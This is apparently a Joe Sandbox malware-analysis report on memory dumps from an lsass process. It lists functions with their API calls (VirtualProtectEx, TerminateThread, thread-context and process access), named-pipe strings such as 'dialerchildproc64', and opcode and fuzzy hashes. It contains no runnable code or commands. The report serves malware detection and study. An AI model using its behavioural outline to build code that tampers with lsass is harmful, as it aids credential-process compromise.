Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: c11dfa66158928d1978f00f7439df635ea03f4532b3de643d8087e6cdc08bdfe
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 18213036714661C3FB508B2AF64835B77A0F78AFA4FA00215DA5902AE8CF7CC18DCB01

Function 000002A29199A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A29199A5A1

Part of subcall function 000002A29199B414: __GetUnwindTryBlock.LIBCMT ref: 000002A29199B457
Part of subcall function 000002A29199B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A29199B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A29199A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A29199A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A29199A9DA

Strings

csm, xrefs: 000002A29199A622
csm, xrefs: 000002A29199A69C
csm, xrefs: 000002A29199A5BB

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 6c9b64aea459f5939bf3dd068a7343ba8d08770816b9b7ac5fa50ecb001ac872
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 29E18D76700761CBFBA08B2AD64839E77A0F75AB98F200115EE8957B99CF34C489C742

Function 000002A2911C9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002A2911C99A1

Part of subcall function 000002A2911CA814: __GetUnwindTryBlock.LIBCMT ref: 000002A2911CA857
Part of subcall function 000002A2911CA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002A2911CA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002A2911C9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002A2911C9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002A2911C9DDA

Strings

csm, xrefs: 000002A2911C9A22
csm, xrefs: 000002A2911C99BB
csm, xrefs: 000002A2911C9A9C

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 1ab0267fc7bca66e60e4a560c75babf12bbadfccf9fd62817e12a732324c591d
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 36E18B727007A6DBEBA08B6AD48939E77A0F747F98F200106EA8957B55CF34C09DD702

Function 000002A29199F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002A29199F510
GetProcAddress.KERNEL32 ref: 000002A29199F51C

Strings

ext-ms-, xrefs: 000002A29199F46D
api-ms-, xrefs: 000002A29199F45A

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 695a17d8ccce6949de6e16a908dae3d83cd48f590e0b0682d832d3bf9de70fad
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 1A41A422311A22D3FA95CB1FEA0C7576795B74FFE4F6941299D1A87788EE38C44D8302

Function 000002A29199104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002A2919910B1
RegEnumValueW.ADVAPI32 ref: 000002A291991117
GetProcessHeap.KERNEL32 ref: 000002A29199115A
HeapAlloc.KERNEL32 ref: 000002A291991168
GetProcessHeap.KERNEL32 ref: 000002A291991185
HeapFree.KERNEL32 ref: 000002A291991193

Strings

d, xrefs: 000002A2919910D6

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 1a33caf0f8baa57e1695812279deb1ee3f10c99bf09f8d6bf124dabded2f67c7
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: CA416D72214B95D7E7A0CF26E54839B77A1F38AF98F548129DA8A07758DF38C48DCB01

Function 000002A29199D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002A29199C7DE,?,?,?,?,?,?,?,?,000002A29199CF9D,?,?,00000001), ref: 000002A29199D087
FlsSetValue.KERNEL32(?,?,?,000002A29199C7DE,?,?,?,?,?,?,?,?,000002A29199CF9D,?,?,00000001), ref: 000002A29199D0A6
FlsSetValue.KERNEL32(?,?,?,000002A29199C7DE,?,?,?,?,?,?,?,?,000002A29199CF9D,?,?,00000001), ref: 000002A29199D0CE
FlsSetValue.KERNEL32(?,?,?,000002A29199C7DE,?,?,?,?,?,?,?,?,000002A29199CF9D,?,?,00000001), ref: 000002A29199D0DF
FlsSetValue.KERNEL32(?,?,?,000002A29199C7DE,?,?,?,?,?,?,?,?,000002A29199CF9D,?,?,00000001), ref: 000002A29199D0F0

Strings

Y%, xrefs: 000002A29199D0A6
1%, xrefs: 000002A29199D0CE

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 2eda56979e5e09bf1eaaea1a055d2580c86bac67b708ba4e2ae130481bc55e5c
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C5113061704666C7FAE8573FE79937B61816B4FFE4F384224942A066DEDE28844D8202

Function 000002A291997510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002A291997538
__scrt_acquire_startup_lock.LIBCMT ref: 000002A29199758A
_RTC_Initialize.LIBCMT ref: 000002A2919975B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002A2919975DE
__scrt_release_startup_lock.LIBCMT ref: 000002A291997609

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: f80ffc22932428fa4e3cbc88985e60adca33b6c3b2487c09d5e61210d3ffa293
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: EA819E21700263C7FAD8AB6FE64939B6690A78FF80F7444259A054779EDF38C84D8B53

Function 000002A291999DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002A291999E49
GetLastError.KERNEL32 ref: 000002A291999E57
LoadLibraryExW.KERNEL32 ref: 000002A291999E81
FreeLibrary.KERNEL32 ref: 000002A291999EC7
GetProcAddress.KERNEL32 ref: 000002A291999ED3

Strings

api-ms-, xrefs: 000002A291999E69

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 5b077497e61e3eaf08f735d87a2babf30c03001d38dd30611cea9d9a8ed7bffa
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 1E31E521312622D3FE91DB8FE60875622A4B74EFA0F6905259D2E07398EF39D09DC302

Function 000002A2919A3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002A2919A3DE5
GetLastError.KERNEL32 ref: 000002A2919A3DF1
CloseHandle.KERNEL32 ref: 000002A2919A3E09
CreateFileW.KERNEL32 ref: 000002A2919A3E34
WriteConsoleW.KERNEL32 ref: 000002A2919A3E53

Strings

CONOUT$, xrefs: 000002A2919A3E15

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 23f971f6aa6706c2256635c771a537c12f52c91efb7c1af5dc6ceecc5ee62274
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: AB118E31310AA1C7F7908B1BF94831A66A0F38EFE4F644225EA2A877D4CF38C90C8741

Function 000002A291993790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A29199379E
GetCurrentProcess.KERNEL32 ref: 000002A2919937CC
VirtualProtectEx.KERNEL32 ref: 000002A2919937EE
GetCurrentProcess.KERNEL32 ref: 000002A291993809
VirtualProtectEx.KERNEL32 ref: 000002A29199382A

Strings

wr, xrefs: 000002A2919937FF

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 78aa278ec88c86537f2b5306803016608d9432e31d0b705b3b66faa2d80037fb
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 3B115A2A304762C3FB949B2BE50826A62B0F74AF84F650028DE9907798EF2DC64DC705

Function 000002A291995B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A291995B6B
GetThreadContext.KERNEL32 ref: 000002A291995CD5

Part of subcall function 000002A291995960: GetCurrentThreadId.KERNEL32 ref: 000002A291995964

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 8e6775f4180294222f22188b8baa7f2f2ca9f794fb603b8fb577a7d6741249f2
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: FCD19C36205B99C2FAB09B1AE59435B77A0F38DF88F204116EA8D47B69DF3CC559CB01

Function 000002A291992F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A291992F27
HeapAlloc.KERNEL32 ref: 000002A291992F3A
StrCmpNIW.SHLWAPI ref: 000002A291992FAF
GetProcessHeap.KERNEL32 ref: 000002A291993015
HeapFree.KERNEL32 ref: 000002A291993023

Strings

dialer, xrefs: 000002A291992FA8

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: d9b6e3f3fbde7c1d9873550896ce399894800054be0f13c2b67ef489ea9a009b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 7B319D22701B66C3FA94DF2BE64876B67A0FB4AF84F1840209E4847B59EF34D4AD8301

Function 000002A29199CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002A29199CFAF
FlsSetValue.KERNEL32(?,?,?,000002A29199D6B5,?,?,?,?,000002A29199D778), ref: 000002A29199CFE5
FlsSetValue.KERNEL32(?,?,?,000002A29199D6B5,?,?,?,?,000002A29199D778), ref: 000002A29199D012
FlsSetValue.KERNEL32(?,?,?,000002A29199D6B5,?,?,?,?,000002A29199D778), ref: 000002A29199D023
FlsSetValue.KERNEL32(?,?,?,000002A29199D6B5,?,?,?,?,000002A29199D778), ref: 000002A29199D034
SetLastError.KERNEL32 ref: 000002A29199D04F

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 4a7941c75334ec3185a8439fab1463888cffeda500893dbf40a9a79e8ddde821
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: BD114F21341666C7FAE4573BE78D33B61925B5FFE4F3407249836476DEDE28840D8202

Function 000002A29199199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002A2919919C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002A2919919E0
PathFindFileNameW.SHLWAPI ref: 000002A2919919EF
lstrlenW.KERNEL32 ref: 000002A2919919FB
StrCpyW.SHLWAPI ref: 000002A291991A0E
CloseHandle.KERNEL32 ref: 000002A291991A1C

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 5a5af4342115806afc14c761473f91ccf1938b95f9de70327975ecfe1b508ef4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: B4013521300A62C2FA949B5BA94835A63A1F78DFC4FA84035DE5A43798DE3CC98EC701

Function 000002A2919936C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002A2919936E4
GetCurrentProcess.KERNEL32 ref: 000002A2919936F2
VirtualProtectEx.KERNEL32 ref: 000002A291993714
GetCurrentProcess.KERNEL32 ref: 000002A291993732
VirtualProtectEx.KERNEL32 ref: 000002A291993753
TerminateThread.KERNEL32 ref: 000002A291993762

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 947c7fa1ad3ec27a09c19561f460c0d926b82a7c4141b4461b8e4805c66bb5eb
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: FD010965711762C7FBA49B2BE90C31B62B0BB4EF86F640428C95906794EF3DC14C8702

Function 000002A291998FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A291999013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002A2919990A8
RtlUnwindEx.NTDLL ref: 000002A2919990F7

Strings

f, xrefs: 000002A291999026
csm, xrefs: 000002A29199908E

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: e4074c3d989006062b1011126d9b052f5ce7c95440880c57faee1aa528616484
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 25517E72701622CBFBA48B1EE94CB5A2795F34AF88F648528DA564778CDF35C84DC702

Function 000002A291993044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002A291993066
StrCpyW.SHLWAPI ref: 000002A291993076
StrCatW.SHLWAPI ref: 000002A291993082
PathCombineW.SHLWAPI ref: 000002A291993090

Strings

\\.\pipe\, xrefs: 000002A29199305C

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 05c4583ffae46600bed06886ddadac808394b260982dfb2ad06563bfe6178556
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E4F05E20704BA2C3FA808F2BBA0C11A6260AB4EFC0F648120EE5607B58DE28C54E8701

Function 000002A29199BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A29199BCBD
GetProcAddress.KERNEL32 ref: 000002A29199BCD3
FreeLibrary.KERNEL32 ref: 000002A29199BCFA

Strings

CorExitProcess, xrefs: 000002A29199BCCC
mscoree.dll, xrefs: 000002A29199BCB4

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 532e30cbf3ed3c0db960dda60228f1adcd0baa93d67c2350fa8149c1815f2972
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 52F06261311A26C3FB548B2EE54D75B6320EB8FF61FA40219CA6B451E4DF2DC44DC302

Function 000002A2919950D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A291995156

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a784433245ebc767c323d0d19b128198bb02bfc69fc0680bcae65617792c778e
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 6A02BC32219B95C7F7A0CB5AF55435BB7A0F389B94F204016EA8E87B69DF78C458CB01

Function 000002A291995710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A291995726

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 6946616450a21ddfee37c7bd35f5e43c0242158b3216ae6897bbf5740372dcf2
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: D861AE76619A55C7F6A08B1AF54831B77A0F389B44F600116EA8E4BBA8DF7CC55CCF02

Function 000002A2919A4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A2919A412C
_set_statfp.LIBCMT ref: 000002A2919A4147
_set_statfp.LIBCMT ref: 000002A2919A4163
_set_statfp.LIBCMT ref: 000002A2919A419F

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 53c64429bb941cceb4271d550a9b971859a65673c9f7bb57f83dceafb3562638
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3011C122B10A73D3F6E6556EE65D36711807B7FBB8F3C0A24A976076D6CE24D84C8203

Function 000002A2911D3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A2911D352C
_set_statfp.LIBCMT ref: 000002A2911D3547
_set_statfp.LIBCMT ref: 000002A2911D3563
_set_statfp.LIBCMT ref: 000002A2911D359F

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 10a7772116927c9e5d22d35f01076c4d3e78c743838986f952f5529fbe920956
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: AB1186FA730A33F3FAD4151FE44D36711806F5AB74EE84629A966062D6CF28C44D4102

Function 000002A2911CF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A2911CF124

Strings

Tuesday, xrefs: 000002A2911CF0F4
or copy constructor iterator', xrefs: 000002A2911CF25A, 000002A2911CF275
Wednesday, xrefs: 000002A2911CF1ED

Memory Dump Source

Source File: 00000031.00000002.2657135659.000002A2911C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A2911C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a2911c0000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 1bbfd92db6e95b8fc9539b16fb8632b4a2ed3b6d0598b1e6c73ff1e62b443b6d
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: A8618F36700663E3FAE59A6FE54C32B6AA2E783F40F754415CA0A037A4DF34C94DA203

Function 000002A29199AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002A29199AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002A29199AAB7

Strings

RCC, xrefs: 000002A29199AA85
MOC, xrefs: 000002A29199AA7C

Memory Dump Source

Source File: 00000031.00000002.2667779713.000002A291990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A291990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_2a291990000_lsass.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: a73d1f298939c95b8273a44cc4430b5fd8c3e8e17c0158018733cb94f3254e73
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 50617636B01A95CBFB609F6AD68439E77A1F349B88F244215EE4917B98DF38D488C701

Function 000002A29199AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A29199ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A29199AE88

Strings

csm, xrefs: 000002A29199AEDA
